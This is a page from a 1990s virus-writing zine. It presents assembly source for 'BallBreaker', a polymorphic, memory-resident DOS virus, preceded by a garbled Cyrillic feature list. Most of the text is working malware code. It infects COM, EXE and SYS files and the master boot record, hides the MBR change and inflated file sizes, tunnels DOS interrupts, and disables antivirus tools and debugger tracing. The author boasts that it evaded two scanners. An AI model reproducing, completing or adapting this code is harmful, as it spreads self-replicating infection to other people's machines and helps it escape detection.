- [Duke's Virus Labs #7] - [Page 31] -

BallBreaker
(c) by Deviator/HAZARD

⪮ ᠭ  ᪮:

- ࠦ Com/Exe/Sys/Mbr
- 100%  (  MBR)
- ᫨ 饭   Windows  ᬮ । 稥 ,  ࠦ MBR.
-  MBR Stealth (int 13h - read/write)
-  ᪨ ਥ
-   
- 墠뢠 뢠 ⠩  १  1000 ⨪ ࠦ 䠩
    ⥪饩 ४ਨ (Findfirst/Findnext)
-  让 Joke
-  ਡ ( ⠭ )  ࠦ
-  int 21h  砥  ࠪ (१ PSP)
-  㧪  MBR ᮧ ᮡ⢥ Memory Control Block
- ন ⨢   ⨢ᮢ ( ࡠ )
- ਬ  䠩  ⥪⮬ (᪨)   䠩  ࠦ.
- ਯ  1024  䠩 (뢠 ADinf)
- Stealth  Findfirst/Findnext (Filesize)
-  䨪
- Stealth ஢ (㤭 㦨,  )
- - ⨪   AV ᨫ ( ஢ ਯ  TBAV)

Bugz:   筮 .     㤥  ᥡ   -  ...

===== begin ballbr.asm =====
; [Steel Rat] is my old virus. And this is remake of it...

; [BallBreaker] ;)
; Polymorphic TSR Com/Exe/Sys/Mbr Infector with semi-stealth abilities.

; In NeXT GENERATiON added
;       - MBR Infecting
;       - When running under Windows,MBR infection turned off
;       - Filesize stealth (Findfirst/Findnext)
;       - Polymorphic decryptor generator (SMM)
;       - Slow polymorphic
;       - Part of host crypting (in Exe'n'Com files)
;       - Full MBR stealth (i13)
;       - When loaded from MBR patches MCB chain to create own MCB.
;       - Dos Idle
;       - Simple feature (joke)
;       - Simple anti-bait feature
;       - Has simple AV protection...
;       - Gets 21 int in non-standart way or just tunnels it.
;       - Optimized alot
;       - Huge , blah...

; Needs Smm.Asm in same directory. You can find it in ..\Smm

; This is Polymorphic Com/Exe/Sys/Mbr infector. MBR loader is also polymorphic.

; I'we added infection using i28 (Dos Idle)- virus intercepts timer vector
; and at every tick increasing one variable. When i28 called, virus
; checks content of that variable, and if it larger then needed (or equal)
; setups DTA, find file and infects it...

; Yeap, there is Sys file infection. I dont know why, when Command.Com
; isn't loaded, system hangups when i try to infect something... Shit...
; So there is check when loaded from MBR/Sys for command.com execution.
; When it executed we can start our productive job...
; Infection of sys files is VERY simple, very similar to infecting of
; Com files.

; All infection methods i invented alone (without reading any zines and
; looking in another viruses). So Exe infection is quite different from
; standard type (think so)...
; Polymorphic generator was made, without looking in source of another
; generators. I coded crypted com virus, and understand that what does it
; means to be polymorphic. So i wrote some simple oligomorphic generators,
; then wrote SMM v.1.0 (was polymorphic, but to easy detectable).
; Next was SMM 2.xx...It was really polymorphic, but pointer
; register was allways same,etc...
; In this virus i used SMM v.3.09A. Read it discription in Smm.asm.

; Tunnel routine is small and hard detectable (there is only one method,
; how to catch it...its ...;). But trace is easy to remove (very
; easy). I made something, but that's doesn't enough..

; Bugz : With infection marker - i used time to store infection mark
; and virus size in current file (was lasy to make something else)...

; If you founded some bugs, or have interesting ideas - email me.
; E-Mail: Biodrone2@Hotmail.com

; To test this virus on your system - just mark TestVir = 1, and put
; read-only attribs to all your executables.... ;).

; P.S. All viruses i wrote was harmless - so that virus is harmless to..

; P.S.S I tested this virus with some AV'rs (when virus is inactive), and
;       it was undetectable (Dr.Web,F-Prot)... I have no any other AVr's
;       so have no aviability to test SMM decryptor in TBAV or AVP...

; P.S.S.S Decryptors couldn't (sometimes) work under Protected Mode inviroment
; (Windows,etc)

; Personal greetz:      Duke,Sepultura and all people on #SMF.
; Group greetz:         SMF,IR

; P.S.S.S.S Hey Dukie - your team member SMT is rather cool :P

; Deviator [HAZARD].
;-------------------------------------------------------------------------


TNUM            =       50      ; Number of residency test to start joke

ICheck          =       2345h   ; Infection mark

IntChange       =       2       ; Number of int 21h changes to hook it
MaxG            =       8       ; Change this for bigger decryptor
MinG            =       4       ; sizes. Better dont touch MinG
        ; Bigger decrypter - it would take some time to decrypt
        ; That time really feeling on my i386 SX 33 ;)
MinCom          =       5000    ; Minimum size of com file

TTry            =       5       ; Number of tunnel fails, until stop tunneling.

TestVir         =       0       ; Virus for testing (Doesn't drop file attribs)?
CHost           =       1       ; Crypt host (first 1024 bytes) ?

MbrInfect       =       1       ; Enable MBR infection ?
BootDos         =       1       ; Create own MCB when loading from MBR ?

SlowPoly        =       1       ; Slow polymorphic or not ?

i28C            =       1000    ; Timer ticks to start infection using int 28
i28U            =       1       ; Use int 28 infection ?

AAV             =       1       ; Include some Anti-AV procs ?

NoStInt21       =       1       ; Include non-standard raw int 21h detection
NoCBait         =       1       ; Check bait (0 = No check,1 = Check it)
i2Au            =       1       ; Int 2Ah support (bail out AVPTSR)
iCheck2         =       27      ; Size patch

;-------------------------------------------------------------------------

.model tiny
.286                    ; For 286 or higher
.code
        org 100h
steel_rat:
        push es ds

        mov ax,3300h                    ; Lets do antiheuristics once-more
        int 21h                         ; if somebody decrypted us...

        push dx

        mov ax,3301h
        mov dx,1
        int 21h

        xor dx,dx

        mov ax,3300h
        int 21h

        dec dx
        jz RIt

        mov cx,Vlen/10

        push cs
        pop  es

        call getsi
getsi:  pop di
        add di,offset Rit-GetSi
rep     stosw

RIt:
        pop dx
        mov ax,3301h
        int 21h

AntiHE:
        call nuke                       ; Bump disasm and try to bump trace

        db      0EAh
        db      0FFh

        call get_bp                     ; Get our offset

host    db      0               ; Our Host ( 0 - Com , 1 - Exe , 2 - Sys )

get_bp:
        pop bp
        sub bp,offset Host

        mov ah,30h
        int 21h
        cmp al,5
        jb WQuit

        cld

        mov cx,es

        push cs cs
        pop  ds es

        mov cs:[Windoze][Bp],0
        Call CheckWin

        push cx
if      MBRInfect
        call Infect_Mbr         ; Infect Mbr
EndIf
        call randomize          ; Setup random number generator
        pop cx

if SlowPoly
        lea si,[RandSeed][Bp]
        lea di,[RSeed][Bp]
        movsw
        movsw
EndIf

        call install            ; Install us in memory

        pop ds es

WQuit:
        mov al,cs:[host][bp]    ; Return work to our host
        cmp al,1
        jz exe_quit
        cmp al,2
        jz sys_quit

If      CHost
        mov ax,cs
        mov si,100h
        Call DecryptHost
Endif

        lea si,[old][bp]                ; Get offset to old com data
        mov di,100h                     ; Dest - 100h
        push di

        movsw                           ; Copy it...
        movsw

        Call PatchPSp
        Call FreeReg                    ; Free regs

        retn

exe_quit:
        mov ax,cs
        add ax,word ptr cs:[old][2][bp] ; Patch segment

        cli
        mov bx,cs:[host_ss][bp]         ; Setup SS:SP
        add bx,ax
        mov ss,bx
        mov sp,cs:[host_sp][bp]
        sti

        mov si,word ptr cs:[Old][Bp]
if      CHost
        Call DecryptHost                ; Decrypt host
Endif

        push ax                         ; Store segment to finish
        push si                         ; Store Ip

        Call PatchPSP
        Call FreeReg
        retf
sys_quit:
        lea si,[old][bp]                ; Restore Sys beginning
        mov di,8
        movsw
        Call FreeReg
        jmp word ptr cs:[8]             ; Jump to host
;-------------------------------------------------------------------------
PatchPSP        proc
        cmp cs:[Inst][BP],1
        jne NoPatch
        sub word ptr ds:[2],NeededVlen
NoPatch:
        ret
PatchPSP        endp
;-------------------------------------------------------------------------
FreeReg proc
        xor ax,ax
        xor bx,bx
        xor cx,cx
        cwd
        mov si,100h
        mov di,-2
        xor bp,bp
        push ax
        popf
        ret
FreeReg endp
;-------------------------------------------------------------------------
If      MbrInfect
MBRInst:                                ; This would execute when loaded
        xor ax,ax                       ; from MBR
        mov es,ax                       ; Ds = 0

        call Nuke                       ; Bump it !

        db      0EAh,0FFh

        cli
        cld

        mov di,1Ch*4                    ; Point 1Ch to our 1Ch procedure
        mov ax,offset Our1C
        stosw
        mov ax,cs
        stosw

        lds dx,es:[21h*4]
        mov word ptr cs:[i21],dx        ; Store old int 21
        mov word ptr cs:[i21][2],ds

        lds dx,es:[13h*4]
        mov word ptr cs:[i13],dx        ; 13h
        mov word ptr cs:[i13][2],ds

        lds dx,es:[08h*4]
        mov word ptr cs:[i8],dx         ; 08h
        mov word ptr cs:[i8][2],ds

        mov di,13h*4                    ; Set int 13 to us
        mov ax,offset new13
        stosw
        mov ax,cs
        stosw
        push ax
        mov di,8h*4
        mov ax,offset Joke              ; Set int 8 to our joke
        stosw
        pop ax
        stosw
        sti

        mov cs:[Allow],0                ; No allowance of infection
                                        ; until Command.Com is loaded
        mov cs:[Checked],0              ; No int changed
        mov cs:[IntInf],0
        mov cs:[NoInt],0                ; Allow usage of int 21h

        mov ax,0201h                    ; Load real MBR
        mov cx,Slen+3
        mov dx,0080h
        mov bx,7C00h
        push es bx                      ; Store offset
        int 13h
        retf                            ; Go to it

Checked db      ?

New13:  cmp ah,03h                      ; Write ?
        jz OrWrite
        cmp ah,02h                      ; Read  ?
        jne NotRead
OrWrite:cmp dx,0080h                    ; HDD ?
        jne NotRead
        cmp cx,Slen+1                   ; Our sectors ?
        ja NotRead
        cmp bp,iCheck                   ; Not our brother ?
        jz NotRead
        add cx,Slen+2                   ; Stealth it !
NotRead:
        db      0EAh
i13     dd      ?

Our1C:  cmp cs:[Checked],IntChange      ; If there were IntChange changes ?
        jae NoBump

        push ds es ax bx di             ; Store regs

        xor ax,ax                       ; Ds = 0
        mov es,ax

        lds ax,es:[21h*4]               ; Get current int 21
        cmp word ptr cs:[i21],ax
        jz NoChange

        mov bx,ds
        cmp word ptr cs:[i21][2],bx     ; Changed ?
        jz NoChange

        mov word ptr cs:[i21],ax        ; Move it to our variables
        mov word ptr cs:[i21][2],ds

        mov word ptr cs:[r21],ax        ; And again...
        mov word ptr cs:[r21][2],ds

        inc cs:[Checked]                ; Increase number of int changes

        cmp cs:[Checked],IntChange      ; Equal ?
        jne NoChange

If      i28U
        lds ax,es:[28h*4]               ; Get int 28
        mov word ptr cs:[Old28],ax
        mov word ptr cs:[Old28][2],ds
EndIf

        mov cs:[F1],1                   ; Yeap... No trace...

        cli

        cld
        mov di,21h*4
        mov ax,offset New21
        stosw
        mov ax,cs                       ; Intercept int 21h
        stosw

If      i28U
        push ax
        mov di,28h*4
        mov ax,offset i28               ; Intercept int 28h
        stosw
        pop ax
        stosw
EndIf
        sti

If      BootDos
        Call PatchMCB                   ; Patch our MCB
EndIf

NoChange:
        pop di bx ax es ds
NoBump: iret
;-------------------------------------------------------------------------
If      BootDos
PatchMCB        proc
        pusha
        mov ah,52h                      ; Get first MCB
        call dos

        mov ax,es:[bx][-2]
FindZ:  mov es,ax
        cmp byte ptr es:[0],'Z'         ; Find Last MCB
        jz Gotit
        mov ax,es
        add ax,es:[3]
        inc ax
        jmp FindZ

GotIt:  mov byte ptr es:[0],'M'         ; Make it not last

        mov ax,es
        add ax,es:[3]
        inc ax
        mov es,ax

        xor di,di                       ; Create our block
        mov al,'Z'                      ; Last block
        stosb
        mov ax,70h                      ; Dos block
        stosw
        mov ax,KbMem*64-1               ; Occupied space
        dec ax
        stosw
        popa
        ret
PatchMCB        endp
EndIf

EndIf
;-------------------------------------------------------------------------
Inst    db      ?

install proc    near
        push es

        mov cs:[Inst][Bp],0

        mov ax,0A1B1h                           ; Installation check
        int 21h
        jmp short lets_go                       ; Lets install
        jmp bailout                             ; Nope....
                                        ; Virus would patch up offset of
                                        ; return, so it would pass first jmp
                                        ; (jmp short lets_go)...
lets_go:
        mov cs:[f1][bp],0               ; We're not traced...
        mov cs:[TunnelTry][Bp],0        ; We're not tried to tunnel
        mov cs:[NoInt][Bp],0

        push ds

        xor ax,ax                       ; Es = 0
        mov ds,ax
        push ax ax

        lds ax,ds:[21h * 4]             ; Get ints
        lea di,[i21][Bp]
        stosw
        push ax
        mov ax,ds                       ; I21 h
        stosw
        pop ax
        stosw
        mov ax,ds
        stosw
        pop ds

        lds ax,ds:[08h * 4]             ; 8h
        stosw
        mov ax,ds
        stosw

        pop ds

if      i28U
        lds ax,ds:[28h * 4]             ; 28h
        mov word ptr cs:[Old28][Bp],ax
        mov word ptr cs:[Old28][Bp][2],ds
EndIf

If      NoStInt21
        mov ds,cx
        mov si,5
        Call TryToGetInt21              ; Lets get from int 21 PSP
        xor ax,ax
        mov ds,ax
        mov si,0C0h                     ; Lets get int 30h
        Call TryToGetInt21
Endif

        cmp cs:[host][bp],2             ; Host sys ?
        jz SyS_HosT

        mov cs:[allow][bp],1            ; If no - we could infect
        jmp Done_with_Host

SyS_HosT:
        mov cs:[allow][bp],0            ; Sys... No infection until loaded
                                        ; Command.com

Done_With_Host:
        pop ds

        mov ah,52h                      ; Find first MCB
        int 21h
        mov ax,es:[bx][-2]

find_block:
        mov es,ax
        cmp es:[3],1000h                ; Find block, which size is more then
        ja GotCha                       ; 65000 kb
        cmp byte ptr es:[0],'Z'         ; Last ? Blah... No block :(
        jne Mux
        jmp BailOut
Mux:    add ax,es:[3]
        inc ax
        jmp find_block
GotCha:
        cli
        mov cl,es:[0]

        mov di,3
        mov ax,es:[3]                   ; Patch it and create own block
        sub ax,NeededVlen
        stosw

        mov byte ptr es:[0],'M'

        mov bx,es                       ; Get next block
        add ax,bx
        inc ax
        mov es,ax

        xor di,di                       ; Letter of previous block
        mov al,cl
        stosb
        mov ax,70h                      ; Dos Block
        stosw
        mov ax,NeededVlen-1             ; Needed memory
        stosw

Copy_Us:
        mov ax,es
        sub ax,15
        mov es,ax

        lea si,[bp][Steel_Rat]          ; Copy our body
        mov di,offset Steel_Rat
        mov cx,Vlen+100
        cld
rep     movsb

        push es
        pop  bx

        xor ax,ax
        mov es,ax

        mov ax,offset new21             ; Set int 21h
        mov di,21h*4
        stosw
        mov ax,bx
        stosw

        mov ax,offset Joke              ; Set int 8h
        mov di,8*4
        stosw
        mov ax,bx
        stosw

If      i28U
        mov ax,offset i28               ; Set int 28h
        mov di,offset 28h*4
        stosw
        mov ax,bx
        stosw
EndIf

        mov cs:[Inst][Bp],1

bailout:
        sti
        pop es
        ret
install endp

        db      '! BallBreaker !'
;-------------------------------------------------------------------------
If      NoStInt21
TryToGetInt21   proc
        cmp cs:[F1][Bp],1               ; Allready traced ?
        jne LetsTrace
        ret
LetsTrace:
        push ds es                      ; call to int 21. If nobody changed
JumpMux:                                ; it, we would get real int 21h
        lodsb                           ; Get byte
        cmp al,0EAh                     ; Far JMP ?
        jz ItsCall
        cmp al,09Ah                     ; Far Call ?
        jz ItsCall
        cmp al,90h
        jz FoundedInt21                 ; Nop ?
NotInt21:
        pop  es ds                      ; Not founded :(
        ret
FoundedInt21:
        lodsb                           ; Next is Nop ?
        cmp al,90h
        jne NotInt21                    ; Nope..
        std
        dec si
        dec si                          ; Nop !!!
        dec si
        push ds si
        pop  di es
        mov cx,5
Findi21:
        push cx

        mov al,90h
        mov cx,20
repne   scasb
        dec di
        pop cx
        loop Findi21
        inc di
        mov ax,di

        cld

        push cs
        pop es
        lea di,[i21][Bp]                ; Store offset
        stosw
        mov ax,ds
        stosw
        pop  es ds

        mov cs:[F1][Bp],1               ; No int 21 trace
        ret
ItsCall:
        lodsw
        push ax
        lodsw
        mov ds,ax
        pop  si
        jmp JumpMux
TryToGetInt21   endp
Endif
;-------------------------------------------------------------------------
nuke    proc    near
        push ax bp es di
        cli

        xor ax,ax               ; Lets try to drop trace flag
        push ax
        db      02Eh            ; Cs:
        popf
        mov es,ax
        mov di,4
        stosw                   ; Fuck off trace !
        stosw
        mov di,8
        stosw
        stosw
        pop di es

        mov bp,sp
        mov ax,ss:[bp][4]       ; Patch offset to return
        inc ax
        inc ax
        mov ss:[bp][4],ax

        sti
        pop bp ax
        ret
nuke    endp
;---------------------- Resident Part --------------------------------
new21:  cmp cs:[f1],1                           ; Tunneled ?
        jz SkipTun                              ; Yeap...

        cmp cs:[TunnelTry],TTry         ; Somebody bails us ?
        ja SkipTun

        call Tunnelit                           ; Tunnel !
                                ; This would called until int 21h is traced...
                                ; If there were any anti-tracing routines
                                ; trace try's would be forever...
SkipTun:
        cmp ax,0A1B1h                           ; Brother testing for us ?
        jne NotOurTest                          ; for us in memory ?

        push bp
        mov bp,sp
        add word ptr ss:[bp][2],2               ; Patch offset
        pop  bp

        cmp cs:[joker],TNUM                     ; increase joker
        jb Setup_Joke
        mov cs:[joker],0
        iret
Setup_Joke:
        inc cs:[joker]
        iret

NotOurTest:
        cmp cs:[NoInt],0
        jz AllOkWith21

if      AAV
        cmp ah,4Ch
        jne IretIt
        mov cs:[NoInt],0
        jmp AllOkWith21
IretIt: iret                                    ; Bail it out !
Endif

AllOkWith21:
        cmp ah,4Bh                              ; Exec ?
        jz Exec

        cmp ah,4eh                              ; Find first ?
        jz Stealth

        cmp ah,4Fh                              ; Find next ?
        jz Stealth

        cmp cs:[allow],1                        ; Allowed to infect ?
        jne Not_Allowed

        cmp ah,3Dh                              ; Open ?
        jz Open

Not_Allowed:
        jmp dword ptr cs:[i21]
;---------------------- Exec --------------------------------------
Exec:
If      AAV
        pusha
        push es ds
        Call CheckAv
        dec bp
        jne NoIntz
        mov cs:[NoInt],1
NoIntz:
        pop  ds es
        popa
Endif
;       cmp cs:[allow],1                ; We couldn't infect files
;       jz Open                         ; until Command.Com is loaded...
;                                       ; But dont know why...

        call if_command                 ; So we need to test if command is
                                        ; allready loaded...
        jne Not_Allowed

        mov cs:[allow],1                ; Allowed to infect.
        jmp Not_Allowed
;--------------------- Open --------------------------------------
Open:   call infect                     ; Infect file
        jmp Not_Allowed
;--------------------Stealth Filesize-----------------------------
Stealth:
        pushf
        call dword ptr cs:[i21]         ; Call dos

        pushf
        pusha
        push es ds

        mov ah,2Fh                      ; Get Dta to Es:Bx
        call dos

        push es bx
        pop  dx ds                      ; Ds:Dx = Es:Bx

        add dx,1Eh                      ; Add offset to name

        push es bx
        call Scan                       ; Scan extension
        pop  bx es

        cmp al,0                        ; Not valid extension ?
        jz NoStealth

        mov cx,word ptr es:[bx][16h]    ; Get file time
        Call CheckInfZ
        jne NoStealth                   ; Infected ?

        mov ax,word ptr es:[bx][16h]    ; If yes - make file smaller
        sub word ptr es:[bx][1Ah],ax
NoStealth:
        pop  ds es
        popa
        popf
        retf 2
;---------------------------------------------------------------------
old     db      0CDh                    ; Old bytes inside virus body
        db      20h
        dw      ?

host_ss dw      ?                       ; Exe SS'n'SP
host_sp dw      ?
;------------------------- Testing Routines --------------------------
If      AAV
CheckAv proc
        xor bp,bp
        push ds dx
        pop  di es
        mov cx,50h
        xor ax,ax
        cld
repne   scasb                           ; Find Zero
        std
        mov cx,15
        mov al,'\'                      ; Find last backslash
repne   scasb
        inc di
        inc di
        cld
        cmp di,dx
        ja DiOk
        mov di,dx                       ; No backslashes...
DiOk:
        push cs
        pop  ds
        mov si,offset AVtbl
LChk:   xor ax,ax
        lodsb
        cmp al,0
        jz NoMoreAvrs                   ; Blah.. No more AVr's ;)
        xchg ax,cx
        push di
rep     cmpsb
        pop di
        jz ItsIt
        add si,cx
        jmp LChk
ItsIt:  inc bp
NoMoreAvrs:
        ret
CheckAv endp
EndIf

NoInt   db      0
;------------------------- Testing Routines --------------------------
if_command proc  near                           ; Check for command.com
        push ax di si es cx

        cld
        mov di,dx
        push ds
        pop es
        xor ax,ax                               ; Find zero
        mov cx,50
repne   scasb
        mov si,di
        sub si,12
        lodsw
        or ax,2020h                             ; Load previous letter before 0
        cmp ax,'oc'                             ; 'co' ?
        jne Borp
        lodsw
        or ax,2020h
        cmp ax,'mm'                             ; "mm" ?
        jne Borp
        lodsw
        or ax,2020h
        cmp ax,'na'                             ; "an" ?
        jne Borp
        lodsw
        or ax,2020h
        cmp ax,'.d'                             ; "d." ?
Borp:   pop cx es si di ax
        ret
if_command endp

;----------------------- Scan for Extension --------------------------
; Returns 0 - Unknown , 1 - Com , 2 - Exe , 3 - Sys
scan    proc    near

        push ds
        pop es

        mov di,dx
        mov al,'.'                              ; Find "."
        mov cx,50h
        cld
repne   scasb

        xchg si,di

        lodsw                                   ; Load word after dot

        or ax,2020h                             ; To lower-case

        cmp ax,'oc'                             ; 'Co' ?
        jz Test_for_Com
        cmp ax,'ys'                             ; 'Sy' ?
        jz Test_for_Sys
        cmp ax,'xe'                             ; 'Ex' ?
        jz Test_for_Exe
        jmp Lyaps

Test_for_Com:
        lodsb
        or al,20h
        cmp al,'m'                              ; 'm' ?
        jne Lyaps
        mov al,1
        jmp Uknown
Test_for_Exe:
        lodsb
        or al,20h
        cmp al,'e'                              ; 'e' ?
        jne Lyaps
        mov al,2
        jmp Uknown
Test_for_Sys:
        lodsb
        or al,20h
        cmp al,'s'                              ; 's' ?
        jne Lyaps
        mov al,3
        jmp Uknown
Lyaps:
        xor ax,ax
Uknown:
        ret
scan    endp

dos     proc    near
        pushf
        call dword ptr cs:[r21]                 ; Call dos
        ret
dos     endp

;----------------------- Infection Routines -----------------------
infect_com      proc    near
        call savea                              ; Drop attributes

        mov ax,3d02h                            ; Open file
        call dos
        jnc ComFileGood
        jmp Com_Infect_done
ComFileGood:
        xchg ax,bx

        Call CheckInf
        jne CheckComBait
ClCOM:  jmp Close_Com_File
CheckComBait:
If      NoCBait
        Call CheckBait
        or bp,bp
        jne ClCOM
EndIf

        push cs cs
        pop  ds es

        mov ah,3fh
        mov dx,offset old                       ; Load first 4 bytes
        mov cx,4
        call dos

        mov si,dx
        lodsw
        cmp ax,'ZM'                     ; Masked exe ?
        jz Close_Com_File

        mov ax,4202h                            ; To the end of file
        xor cx,cx
        cwd
        call dos

        cmp ax,60000-Vlen                       ; Size > 60000-Vlen ?
        ja Close_Com_file
        cmp ax,MinCom+Vlen
        jb Close_Com_File

if      CHost
        xor cx,cx
        xor dx,dx
        Call CryptHost

        mov ax,4202h
        xor cx,cx
        cwd
        Call Dos
EndIf

        push ax

        mov ds:[host],0                         ; Host = Com

If SlowPoly
        Call MakeSlow
EndIf

        mov si,offset steel_rat
        mov di,offset free
        mov cx,vlen
        call smm

        mov ds:[FLen],cx                        ; Store new length

        mov ah,40h                              ; Write us
        mov dx,di
        call dos

        pop ax

        mov di,offset temp
        push di
        push ax                                 ; Create and
        mov al,0E9h                             ; patch jmp
        stosb
        pop ax
        sub ax,3
        stosw

        mov ax,4200h                            ; To the start of file
        xor cx,cx
        cwd
        call dos

        mov ah,40h                              ; Write Jmp
        pop dx
        mov cx,4
        call dos

        call Mark                               ; Mark that file infected

Close_Com_File:
        mov ah,3eh                              ; Close file
        call dos

Com_Infect_Done:

        call resta                              ; Restore attributes

        ret
infect_com      endp
;-----------------------------------------------------------------
infect_exe      proc    near
        call savea                              ; Drop attributes

        mov ax,3d02h                            ; Open file
        call dos
        jnc ExeInfect
        jmp Exe_Infect_Done
ExeInfect:
        xchg ax,bx

        Call CheckInf
        jz CloseExe

If      NoCBait
        Call CheckBait
        or bp,bp
        jne CloseExe
Endif

        push cs cs
        pop  ds es

        mov ah,3Fh
        mov dx,offset temp                      ; Read exe header
        mov cx,1Ah
        call dos
        jmp AllOk
CloseExe:
        jmp Close_Exe
AllOk:
        cmp word ptr ds:[temp],'ZM'             ; MZ ?
        jne CloseExe

        mov ax,word ptr ds:[temp][4]            ; Check for overlays
        mov cx,512
        mul cx                                  ; Multiply PageCnt by 512

        push ax
        push dx

        mov ax,4202h                            ; To the end of file
        xor cx,cx
        cwd
        call dos

        pop cx

        cmp dx,cx

        pop cx

        ja CloseExe                             ; Overlay(s) Present...

        add cx,word ptr ds:[Temp][2]            ; Add partial page length
        cmp ax,cx
        ja CloseExe

        push ax

If      CHost
        xor dx,dx                               ; Calculate Exe Entry
        mov ax,word ptr ds:[Temp][14h]          ; Look if there in
        mov cx,16                               ; IP any paragraphs
        div cx
        xchg ax,dx                              ; Dx = Paragraphs in IP
        push ax
        xor cx,cx

        add dx,word ptr ds:[Temp][16h]          ; Add CS
        add dx,word ptr ds:[Temp][8]            ; Add header size

        cmp dx,4096
        jb NoDivCS

        xchg ax,dx
        xor dx,dx

        mov cx,4096
        div cx

        xchg cx,ax
NoDivCS:
        shl dx,4
        pop bp
        add dx,bp                               ; Add Ip
        Call CryptHost

        mov ax,4202h
        xor cx,cx
        cwd
        call dos
EndIf
        mov si,offset temp+0Eh                  ; Store old SS,SP
        mov di,offset host_ss
        movsw
        movsw
        lodsw                                   ; Skip CheckSum
        mov di,offset old                       ; Store old Ip
        movsw

        shl dx,12               ; Multiply higher word of offset
                                ; by 4096 (65536*x/16 = x*4096)
        sub dx,word ptr ds:[temp][8h]   ; Sub header size

        mov ax,word ptr ds:[temp][16h]  ; Get old Cs
        sub ax,dx                       ; Sub Old,Current seg
        stosw                           ; Store it

        mov word ptr ds:[temp][16h],dx  ; Make New Cx = Dx

        mov ax,dx
        add ax,100h
        mov di,offset temp+0Eh
        stosw                           ; Setup SS

        xor ax,ax                       ; Setup SP
        stosw

        pop ax

        mov word ptr ds:[temp][14h],ax  ; Setup New Ip

        mov ds:[host],1                 ; Host - Exe

        push cs
        pop es

If SlowPoly
        Call MakeSlow
EndIf

        mov si,offset steel_rat
        mov di,offset free              ; Encrypt Us
        mov cx,vlen
        call smm

        mov ds:[FLen],cx                ; Store new length

        push cx

        mov ax,cx                       ; Calculate number of pages
        xor dx,dx
        mov cx,512
        div cx
        add word ptr ds:[temp][4],Ax    ; Add number of pages
        add word ptr ds:[temp][2],Dx    ; Add size of partial page

        cmp word ptr ds:[temp][2],512   ; Partial page > 512
        jb ItOk
        inc word ptr ds:[temp][4]       ; Increase Pagenum
        sub word ptr ds:[temp][2],512   ; Sub partial page size,by 512
ItOk:
        pop cx
        mov ah,40h                      ; Write us
        mov dx,di
        call dos

        mov ax,4200h                    ; To the beginning of file
        xor cx,cx
        cwd
        call dos

        mov ah,40h
        mov dx,offset temp              ; Write new Exe header
        mov cx,1Ah
        call dos

        call Mark                       ; Mark file

Close_Exe:
        mov ah,3eh                      ; Close file
        call dos

Exe_Infect_Done:
        call resta
        ret
infect_exe      endp
;---------------------------------------------------------------------
infect_sys      proc    near
        call savea                      ; Drop attributes

        mov ax,3d02h                    ; Open file
        call dos
        jnc FileOpened
        jmp Sys_Infect_Done
FileOpened:
        xchg ax,bx

        Call CheckInf
        jne NoInfectedSys
        jmp Sys_Close_File
NoInfectedSys:
        push cs cs
        pop  ds es

If      NoCBait
        Call CheckBait
        or bp,bp
        jz SysOk
EndiF
        jmp Sys_Close_File
SysOk:  mov ax,4202h
        xor cx,cx
        cwd
        Call Dos
        cmp ax,MinCom
        jb Sys_Close_File
        mov ax,4200h
        xor cx,cx
        cwd
        Call Dos

        mov ah,3fh                      ; Load header
        mov dx,offset temp
        mov cx,10
        Call Dos

        mov si,offset Temp+6
        mov di,offset old
        movsw

        mov ax,4202h                    ; To the end of driver
        xor cx,cx
        cwd
        call dos

        cmp ax,60000-Vlen               ; More then one segment ?
        ja Sys_Close_File

        push ax

        mov ds:[host],2                 ; Host = Sys

If SlowPoly
        Call MakeSlow
EndIf

        mov si,offset steel_rat
        mov di,offset free
        mov cx,vlen
        call smm                        ; Crypt us

        mov ds:[Flen],cx                ; Store our new size

        mov ah,40h                      ; Write us
        mov dx,di
        call dos

        pop ax

        mov word ptr ds:[temp][8],ax    ; write new offset of interrupt
                                        ; procedure

        mov ax,4200h                    ; Point to interrupt
        xor cx,cx
        cwd
        call dos

        mov ah,40h                      ; Write it
        mov dx,offset temp
        mov cx,10
        call dos

        call Mark

Sys_Close_File:
        mov ah,3eh                      ; Close file
        call dos

Sys_infect_done:

        call resta                      ; Restore attributes

        ret
infect_sys      endp
;----------------------------------------------------------------
If      MbrInfect
infect_mbr      proc                    ; Infect MBR
        push es ds cs cs
        pop  es ds

        cmp ds:[Windoze][Bp],1          ; There is windows in a system ?
        jnz LetsInfectMBR
        jmp NoInfectMBR
LetsInfectMBr:
        mov ax,0201h                    ; Lets read current MBR
        mov cx,0001h
        mov dx,0080h
        lea bx,[Free][BP]
        push bp
        mov bp,iCheck
        int 13h
        pop bp

        cmp byte ptr es:[Free][Bp],90h  ; First is NOP ?
        jne InfectItq                   ; If no - lets infect MBR
        jmp NoInfectMbr
InfectItq:
        mov ax,0301h                    ; Write old MBR to sector after our
        mov cx,Slen+3                   ; body
        int 13h
        jb NoInfectMbr

        xor ax,ax
        call getrnd
        mov ds:[DPatch][Bp],al          ; Choose crypt key

        lea si,[OurMbr][Bp]
        lea di,[Free][Bp]
        mov al,90h
        stosb
        mov cx,OurMbrL
        mov ds:[MaxGarb][Bp],MaxG/2     ; Crypt loader
        mov ds:[MinGarb][Bp],MinG/2
        mov ds:[AntiH1][Bp],0           ; No anti-heuristics
        mov ds:[UseInt][Bp],0           ; No int 21 usage
        call Smm

        inc cx                          ; Check if we fit in MBR sector ?
        cmp cx,512
        jae NoInfectMbr

        mov ax,0301h
        mov cx,0001h                    ; Write It
        mov dx,0080h
        lea bx,[Free][Bp]
        int 13h
        jb NoInfectMbr

        lea si,[Steel_Rat][Bp]          ; Crypt virus
        lea di,[Free][BP]
        mov cx,vlen
CryptUs:
        lodsb
        xor al,ds:[DPatch][Bp]
        stosb
        loop CryptUs

        mov ax,0300h+Slen               ; Write to third sector
        mov cx,0002h
        lea bx,[Free][Bp]
        int 13h

NoInfectMbr:
        pop ds es
        ret
infect_mbr      endp

OurMbr: cli                             ; MBR Loader
        xor ax,ax
        mov ss,ax
        mov sp,7C00h                    ; Setup Stack
        sti

        mov ax,40h                      ; This nukes some AV'rs
        mov es,ax
        sub word ptr es:[13h],KbMem     ; Decrease mem
        int 12h                         ; Get amount of mem
        shl ax,6                        ; Calculate segment
        sub ax,15
        mov es,ax

        mov bx,100h                     ; Lets read to offset 100h
        push bx                         ; virus body

        mov ah,02h
        mov al,SLen
        mov dx,0080h
        mov cx,0002h                    ; Read it
        int 13h

        pop si
        mov cx,vlen
        db      0B0h
DPatch  db      55h
DCrypt: xor byte ptr es:[si],al         ; Decrypt it
        inc si
        loop DCrypt

        push es
        push offset MBRInst             ; To main virus installer
        retf
OurMbrl equ     $ - OurMbr
;----------------------------------------------------------------
InfLen  equ     $ - Infect_Com
EndIf
